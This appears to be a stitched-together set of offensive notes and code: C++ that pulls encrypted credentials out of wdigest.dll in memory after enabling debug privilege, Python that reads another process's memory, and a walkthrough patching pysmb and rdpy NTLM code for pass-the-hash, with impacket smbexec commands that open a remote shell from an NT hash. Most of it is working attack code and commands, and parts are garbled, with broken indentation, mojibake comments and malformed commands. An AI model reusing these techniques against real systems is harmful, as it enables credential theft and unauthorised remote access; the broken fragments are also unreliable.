LPVOID CReadPsw::GetEncryptListHead()
{
    //
    // ¸ù¾ÝKeyPointerSign[]»ñµÃÃÜÎÄ´æ´¢µÄ¹Ø¼üÏà¹ØµØÖ·
    //
    HINSTANCE hMod;
    LPVOID    pEndAddr, KeyPointer, pTemp;

    hMod = LoadLibrary(_T("wdigest.dll"));
    pEndAddr = GetProcAddress(hMod, "SpInstanceInit");
    pTemp = hMod;
    KeyPointer = NULL;
    while (pTemp < pEndAddr && pTemp != NULL)
    {
        KeyPointer = pTemp;
        pTemp = (LPVOID)search_bytes((PBYTE)pTemp + sizeof(KeyPointerSign), (PBYTE)pEndAddr, \
            KeyPointerSign, sizeof(KeyPointerSign));
    }
    //KeyPointer = (LPVOID)(*(DWORD *)((DWORD)KeyPointer - 4)); //32BIT
    KeyPointer = (LPVOID)((DWORD)KeyPointer - 4);
    FreeLibrary(hMod);
    return KeyPointer;
}

void CReadPsw::printSessionInfo(pLSAGETLOGONSESSIONDATA  LsaGetLogonSessionData,
    pLSAFREERETURNBUFFER LsaFreeReturnBuffer,
    PLUID pCurLUID,
    OUT READPSWDATA_S* tagRPWDATA)
{
    PSECURITY_LOGON_SESSION_DATA pLogonSessionData;

    LsaGetLogonSessionData(pCurLUID, &pLogonSessionData);
    printf("UserName: %S\n", pLogonSessionData->UserName.Buffer);   //̞
    printf("LogonDomain: %S\n", pLogonSessionData->LogonDomain.Buffer);  //µÇ½Óò

    wsprintfW(tagRPWDATA->szUserName, _T("%s"), pLogonSessionData->UserName.Buffer);
    wsprintfW(tagRPWDATA->szDomain, _T("%s"), pLogonSessionData->LogonDomain.Buffer);

    LsaFreeReturnBuffer(pLogonSessionData);
}

int CReadPsw::EnableDebugPrivilege()
{
    HANDLE hToken;
    LUID   sedebugnameValue;
    TOKEN_PRIVILEGES tkp;

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken))
    {
        puts("OpenProcessToken fail");
        return 0;
    }
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue))
    {
        puts("LookupPrivilegeValue fail");
        return 0;
    }

    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = sedebugnameValue;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL))
    {
        puts("AdjustTokenPrivileges fail");
        return 0;
    }
    return 1;
}

PBYTE CReadPsw::search_bytes(PBYTE pBegin, PBYTE pEnd, PBYTE pBytes, DWORD nsize)
{
    //
    // ÔÚpBeginÓëpEndÖ®¼äËÑË÷pBytesµØÖ·´¦µÄÖ¸¶¨×Ö½ÚÐòÁУ¬×Ö½Ú¸öÊýΪnsize
    //
    DWORD count;
    PBYTE pDst;

    while ((DWORD)pBegin + (DWORD)nsize <= (DWORD)pEnd)
    {
        pDst = pBytes;
        count = 0;
        while (count < nsize && *pBegin == *pDst)
        {
            pBegin++;
            pDst++;
            count++;
        }
        if (count == nsize)  break;
        pBegin = pBegin - count + 1;
    }
    if (count == nsize)
    {
        return (PBYTE)((DWORD)pBegin - (DWORD)count);
    }
    else
    {
        return NULL;
    }
}

























// The one and only application object

CWinApp theApp;

using namespace std;

int main()
{
    int nRetCode = 0;

    HMODULE hModule = ::GetModuleHandle(nullptr);

    if (hModule != nullptr)
    {
        // initialize MFC and print and error on failure
        if (!AfxWinInit(hModule, nullptr, ::GetCommandLine(), 0))
        {
            // TODO: change error code to suit your needs
            wprintf(L"Fatal Error: MFC initialization failed\n");
            nRetCode = 1;
        }
        else
        {
            // TODO: code your application's behavior here.
        }
    }
    else
    {
        // TODO: change error code to suit your needs
        wprintf(L"Fatal Error: GetModuleHandle failed\n");
        nRetCode = 1;
    }

    wprintf(L"Press enter to continue\n");
    CReadPsw    m_readPsw;
    m_readPsw.SendSecurityPwd(NULL);

    std::cin.get();

    return nRetCode;
}
from ctypes import *
from ctypes.wintypes import *
import time
import os, sys
import win32security
import tempfile
import win32api, win32con
from ntsecuritycon import TokenSessionId, TokenSandBoxInert, TokenType, TokenImpersonationLevel, TokenVirtualizationEnabled, TokenVirtualizationAllowed, TokenHasRestrictions, TokenElevationType, TokenUIAccess, TokenUser, TokenOwner, TokenGroups, TokenRestrictedSids, TokenPrivileges, TokenPrimaryGroup, TokenSource, TokenDefaultDacl, TokenStatistics, TokenOrigin, TokenLinkedToken, TokenLogonSid, TokenElevation, TokenIntegrityLevel, TokenMandatoryPolicy, SE_ASSIGNPRIMARYTOKEN_NAME, SE_BACKUP_NAME, SE_CREATE_PAGEFILE_NAME, SE_CREATE_TOKEN_NAME, SE_DEBUG_NAME, SE_LOAD_DRIVER_NAME, SE_MACHINE_ACCOUNT_NAME, SE_RESTORE_NAME, SE_SHUTDOWN_NAME, SE_TAKE_OWNERSHIP_NAME, SE_TCB_NAME


OpenProcess = windll.kernel32.OpenProcess
ReadProcessMemory = windll.kernel32.ReadProcessMemory
CloseHandle = windll.kernel32.CloseHandle



def get_extra_privs():
    # Try to give ourselves some extra privs (only works if we're admin):
    # SeBackupPrivilege   - so we can read anything
    # SeDebugPrivilege    - so we can find out about other processes (otherwise OpenProcess will fail for some)
    # SeSecurityPrivilege - ??? what does this do?

    # Problem: Vista+ support "Protected" processes, e.g. audiodg.exe.  We can't see info about these.
    # Interesting post on why Protected Process aren't really secure anyway: http://www.alex-ionescu.com/?p=34

    th = win32security.OpenProcessToken(win32api.GetCurrentProcess(), win32con.TOKEN_ADJUST_PRIVILEGES | win32con.TOKEN_QUERY)
    privs = win32security.GetTokenInformation(th, TokenPrivileges)
    newprivs = []
    for privtuple in privs:
        if privtuple[0] == win32security.LookupPrivilegeValue(None, "SeBackupPrivilege") or privtuple[0] == win32security.LookupPrivilegeValue(None, "SeDebugPrivilege") or privtuple[0] == win32security.LookupPrivilegeValue(None, "SeSecurityPrivilege"):
            print("Added privilege " + str(privtuple[0]))
            # privtuple[1] = 2 # tuples are immutable.  WHY?!
            newprivs.append((privtuple[0], 2)) # SE_PRIVILEGE_ENABLED
        else:
            newprivs.append((privtuple[0], privtuple[1]))

    # Adjust privs
    privs = tuple(newprivs)
    str(win32security.AdjustTokenPrivileges(th, False , privs)) 


PROCESS_ALL_ACCESS = 0x1F0FFF

pid = 1012   # I assume you have this from somewhere.
#address = 0x1000000  # Likewise; for illustration I'll get the .exe header.
address = 0x4100000

buffer = create_string_buffer(0x10000)
bufferSize = len(buffer)#len(buffer.value)
bytesRead = c_ulong(0)

get_extra_privs()

processHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
if processHandle:
    print("Buffersize: ", bufferSize)
    time.sleep(3)

    while address <= (address+0x1000000):
        if ReadProcessMemory(processHandle, address, buffer, bufferSize, byref(bytesRead)):
            for ii in range(0, bufferSize):
                if (buffer[ii] != 0x1):
                    #print("Success:", address, buffer)
                    print("Success:", hex(address))
                    #print("b'" + ''.join('\\x{:02x}'.format(x) for x in buffer) + "'")
                    print (":".join("{:02x}".format(ord(c)) for c in buffer))
                    continue
        else:
            print("Failed@", hex(address))
        address += 0x1000
    CloseHandle(processHandle)
else:
    print("Unable to open process: ", processHandle)

git clone https://github.com/miketeo/pysmb.git
python setup.py install

Then drop this in test.py

import sys
import pprint
from smb.SMBConnection import SMBConnection
from util import getConnectionInfo

conn = SMBConnection("UserAccount", "!31:70:ae:1e:3e:NT:LM:Hash:Goes:Here:a9:37:fc:e3", "Your IP Here", "RemoteHostname", use_ntlm_v2 = True, is_direct_tcp = True)
conn.connect("RemoteHostName", 445) #Use  IS TCP Direct on 445 and 135 for the other
results = conn.listShares()
for smbtest in [r.name.lower() for r in results]:
    print(smbtest)

# pretty print loaded modules
#pprint.pprint(sys.modules)

#filelist = conn.listPath('shared_folder_name', '/')

Modify this code in Python\pysmb\python3\smb -> ntlm.py

def generateChallengeResponseV2(password, user, server_challenge, server_info, domain = '', client_challenge = None):
    client_timestamp = b'\0' * 8

    if not client_challenge:
        client_challenge = bytes([ random.getrandbits(8) for i in range(0, 8) ])

    assert len(client_challenge) == 8

    if password.startswith("!"):
        #ntlm_hash = password[1:].replace(":", "").decode("hex")
        ntlm_hash = bytes.fromhex(password[1:].replace(":", ""))
    else:
        d = MD4()
        d.update(password.encode('UTF-16LE'))
        ntlm_hash = d.digest()   # The NT password hash
        print("b'" + ''.join('\\x{:02x}'.format(x) for x in ntlm_hash) + "'")
        #print(ntlm_hash)   
    response_key = hmac.new(ntlm_hash, (user.upper() + domain).encode('UTF-16LE'), 'md5').digest()  # The NTLMv2 password hash. In [MS-NLMP], this is the result of NTOWFv2 and LMOWFv2 functions
    temp = b'\x01\x01' + b'\0'*6 + client_timestamp + client_challenge + b'\0'*4 + server_info
    ntproofstr = hmac.new(response_key, server_challenge + temp, 'md5').digest()

    nt_challenge_response = ntproofstr + temp
    lm_challenge_response = hmac.new(response_key, server_challenge + client_challenge, 'md5').digest() + client_challenge
    session_key = hmac.new(response_key, ntproofstr, 'md5').digest()
    for line in traceback.format_stack():
         print(line.strip())
    return nt_challenge_response, lm_challenge_response, session_key

Z:\Programming\Python\pysmb\python3\tests\SMBConnectionTests>test.py
File “Z:\Programming\Python\pysmb\python3\tests\SMBConnectionTests\test.py”, line 7, in
conn.connect(“Hostname”, 445)
File “C:\Users\User\AppData\Local\Programs\Python\Python38-32\lib\site-packages\pysmb-1.1.28-py3.8.egg\smb\SMBConnection.py”, line 124, in connect
self._pollForNetBIOSPacket(timeout)
File “C:\Users\User\AppData\Local\Programs\Python\Python38-32\lib\site-packages\pysmb-1.1.28-py3.8.egg\smb\SMBConnection.py”, line 634, in _pollForNetBIOSPacket
self.feedData(data)
File “C:\Users\User\AppData\Local\Programs\Python\Python38-32\lib\site-packages\pysmb-1.1.28-py3.8.egg\nmb\base.py”, line 54, in feedData
self._processNMBSessionPacket(self.data_nmb)
File “C:\Users\User\AppData\Local\Programs\Python\Python38-32\lib\site-packages\pysmb-1.1.28-py3.8.egg\nmb\base.py”, line 75, in _processNMBSessionPacket
self.onNMBSessionMessage(packet.flags, packet.data)
File “C:\Users\User\AppData\Local\Programs\Python\Python38-32\lib\site-packages\pysmb-1.1.28-py3.8.egg\smb\base.py”, line 144, in onNMBSessionMessage
if self._updateState(self.smb_message):
File “C:\Users\User\AppData\Local\Programs\Python\Python38-32\lib\site-packages\pysmb-1.1.28-py3.8.egg\smb\base.py”, line 285, in _updateState_SMB2
self._handleSessionChallenge(message, ntlm_token)
File “C:\Users\User\AppData\Local\Programs\Python\Python38-32\lib\site-packages\pysmb-1.1.28-py3.8.egg\smb\base.py”, line 367, in _handleSessionChallenge_SMB2
nt_challenge_response, lm_challenge_response, session_key = ntlm.generateChallengeResponseV2(self.password,
File “C:\Users\User\AppData\Local\Programs\Python\Python38-32\lib\site-packages\pysmb-1.1.28-py3.8.egg\smb\ntlm.py”, line 178, in generateChallengeResponseV2
for line in traceback.format_stack():
admin$
c$
d$
ipc$
print$
myShare

git https://github.com/SecureAuthCorp/impacket.git pip install –upgrade pip –trusted-host pypi.org –trusted-host files.pythonhosted.org . <-- You may need to run this twice. pip install --upgrade pip --trusted-host pypi.org --trusted-host files.pythonhosted.org pyreadline Python\impacket\impacket\examples>python smbclient.py

Beginner’s Guide to Impacket Tool kit (Part 1)

python setup.py install

Python\impacket\examples>python smbclient.py or Python\impacket\examples>smbclient.py

smbexec.py Domain/Username:YourPassword@HostOfServer or \Python\impacket\examples>smbexec.py Domain/Username@ServerHostname -hashes E52CLMHASHGOESHERE168F41AFC3A96:3170221NTLMHASHGOESHERE937FCE3 Impacket v0.9.21-dev – Copyright 2019 SecureAuth Corporation

[!] Launching semi-interactive shell – Careful what you execute C:\Windows\system32>set

But you can really just use this

“smbexec.py Domain/Username@ServerHostname -hashes :PUT YOUR NTLM HASH HERE LIKE SO” “smbexec.py Domain/Username@ServerHostname -hashes :3170221NTLMHASHGOESHERE937FCE3”

https://tobtu.com/lmntlm.php <–Use may use this site to test the hash.

Install PIP and run

pip rdpy --trusted-host pypi.org --trusted-host files.pythonhosted.org 
pip install pyinstaller --trusted-host pypi.org --trusted-host files.pythonhosted.org 
pip install pywin32 --trusted-host pypi.org --trusted-host files.pythonhosted.org

or

git https://github.com/citronneur/rdpy.git python setup.py install

for python 2.7 Then Install PyQt4 from here, note that this only works on 2.7 -> https://pypi.org/project/PyQt4/ You may also get the link from here, https://github.com/citronneur/rdpy (in the windows section)

(This will not work and will error out, this is for 2.7 only) for python 3.8+ Run this instead pip install rdpy –trusted-host pypi.org –trusted-host files.pythonhosted.org

Then

C:\Python27\Lib\site-packages\rdpy\protocol\rdp\nla\ntlm.py Edit this file with the following below. then execute the following command

C:\Python27\Scripts\dist>rdpy-rdpclient.exe -u Username -p !32:70:ae:1e:3e:93:a1:65:85:7d:dc:53:a9:37:fc:e4 -d Domain ServerHostNameToRDPTo:3389

use “!” to indicate it’s a hash

def HMAC_MD5(key, data):
    """
    @summary: classic HMAC algorithm with MD5 sum
    @param key: {str} key
    @param data: {str} data
    """
    #for line in traceback.format_stack():
         #print(line.strip())
    #Digets = hmac.new(key, data, hashlib.md5).digest()
    #print "HMAC_MD5" + ":".join("{:02x}".format(ord(c)) for c in Digets )
    return hmac.new(key, data, hashlib.md5).digest()

def NTOWFv2(Passwd, User, UserDom):
    """
    @summary: Version 2 of NTLM hash function
    @param Passwd: {str} Password
    @param User: {str} Username
    @param UserDom: {str} microsoft domain
    @see: https://msdn.microsoft.com/en-us/library/cc236700.aspx
    """
    #for line in traceback.format_stack():
         #print(line.strip())   
    print "NTOWFv2 UNICODE(User.upper() + UserDom)" + ":".join("{:02x}".format(ord(c)) for c in UNICODE(User.upper() + UserDom))
    print "NTOWFv2 MD4(UNICODE(Passwd)" + ":".join("{:02x}".format(ord(c)) for c in MD4(UNICODE(Passwd)))
    HMACHASH = HMAC_MD5(MD4(UNICODE(Passwd)), UNICODE(User.upper() + UserDom))
    print "HMAC_MD5 hash-> " + ":".join("{:02x}".format(ord(c)) for c in HMACHASH)
    return HMACHASH

def LMOWFv2(Passwd, User, UserDom):
    """
    @summary: Same as NTOWFv2
    @param Passwd: {str} Password
    @param User: {str} Username
    @param UserDom: {str} microsoft domain
    @see: https://msdn.microsoft.com/en-us/library/cc236700.aspx
    """
    return NTOWFv2(Passwd, User, UserDom)

def ComputeResponsev2(ResponseKeyNT, ResponseKeyLM, ServerChallenge, ClientChallenge, Time, ServerName):
    """
    @summary: process NTLMv2 Authenticate hash
    @param NegFlg: {int} Negotiation flags come from challenge message
    @see: https://msdn.microsoft.com/en-us/library/cc236700.aspx
    """
    Responserversion = "\x01"
    HiResponserversion = "\x01"

    temp = Responserversion + HiResponserversion + Z(6) + Time + ClientChallenge + Z(4) + ServerName
    NTProofStr = HMAC_MD5(ResponseKeyNT, ServerChallenge + temp)
    NtChallengeResponse = NTProofStr + temp
    LmChallengeResponse = HMAC_MD5(ResponseKeyLM, ServerChallenge + ClientChallenge) + ClientChallenge

    SessionBaseKey = HMAC_MD5(ResponseKeyNT, NTProofStr)

    return NtChallengeResponse, LmChallengeResponse, SessionBaseKey

def MAC(handle, SigningKey, SeqNum, Message):
    """
    @summary: generate signature for application message
    @param handle: {rc4.RC4Key} handle on crypt
    @param SigningKey: {str} Signing key
    @param SeqNum: {int} Sequence number
    @param Message: Message to sign
    @see: https://msdn.microsoft.com/en-us/library/cc422952.aspx
    """
    signature = MessageSignatureEx()
    signature.SeqNum.value = SeqNum

    #write the SeqNum
    s = Stream()
    s.writeType(signature.SeqNum)

    signature.Checksum.value = rc4.crypt(handle, HMAC_MD5(SigningKey, s.getvalue() + Message)[:8])

    return signature

def MIC(ExportedSessionKey, negotiateMessage, challengeMessage, authenticateMessage):
    """
    @summary: Compute MIC signature
    @param negotiateMessage: {NegotiateMessage}
    @param challengeMessage: {ChallengeMessage}
    @param authenticateMessage: {AuthenticateMessage}
    @return: {str} signature
    @see: https://msdn.microsoft.com/en-us/library/cc236676.aspx 
    """
    s = Stream()
    s.writeType((negotiateMessage, challengeMessage, authenticateMessage))
    return HMAC_MD5(ExportedSessionKey, s.getvalue())

class NTLMv2(sspi.IAuthenticationProtocol):
    """
    @summary: Handle NTLMv2 Authentication
    """
    def __init__(self, domain, user, password):
        self._domain = domain
        self._user = user
        self._password = password
        self._enableUnicode = False
    if password.startswith("!"):
            print "HASH -> " + password[1:].replace(":", "")
        HMACHASH = HMAC_MD5(password[1:].replace(":", "").decode("hex"), UNICODE(user.upper() + domain))
        print "HMAC_MD5 hash-> " + ":".join("{:02x}".format(ord(c)) for c in HMACHASH)
        print "NTOWFv2 UNICODE(User.upper() + UserDom)" + ":".join("{:02x}".format(ord(c)) for c in UNICODE(user.upper() + domain))
            print "NTOWFv2 password" + ":".join("{:02x}".format(ord(c)) for c in password[1:].replace(":", "").decode("hex"))
        self._ResponseKeyNT = HMACHASH
        self._ResponseKeyLM = HMACHASH
    else:
        #https://msdn.microsoft.com/en-us/library/cc236700.aspx
        self._ResponseKeyNT = NTOWFv2(password, user, domain)
            self._ResponseKeyLM = LMOWFv2(password, user, domain)
        print ":".join("{:02x}".format(ord(c)) for c in self._ResponseKeyNT)
            print ":".join("{:02x}".format(ord(c)) for c in self._ResponseKeyLM)


    #For MIC computation
        self._negotiateMessage = None
        self._challengeMessage = None
        self._authenticateMessage = None

    def getNegotiateMessage(self):
        """
        @summary: generate first handshake messgae
        """
        self._negotiateMessage = NegotiateMessage()
        self._negotiateMessage.NegotiateFlags.value = (Negotiate.NTLMSSP_NEGOTIATE_KEY_EXCH |
                                        Negotiate.NTLMSSP_NEGOTIATE_128 |
                                        Negotiate.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY |
                                        Negotiate.NTLMSSP_NEGOTIATE_ALWAYS_SIGN |
                                        Negotiate.NTLMSSP_NEGOTIATE_NTLM |
                                        Negotiate.NTLMSSP_NEGOTIATE_SEAL |
                                        Negotiate.NTLMSSP_NEGOTIATE_SIGN |
                                        Negotiate.NTLMSSP_REQUEST_TARGET |
                                        Negotiate.NTLMSSP_NEGOTIATE_UNICODE)
        return self._negotiateMessage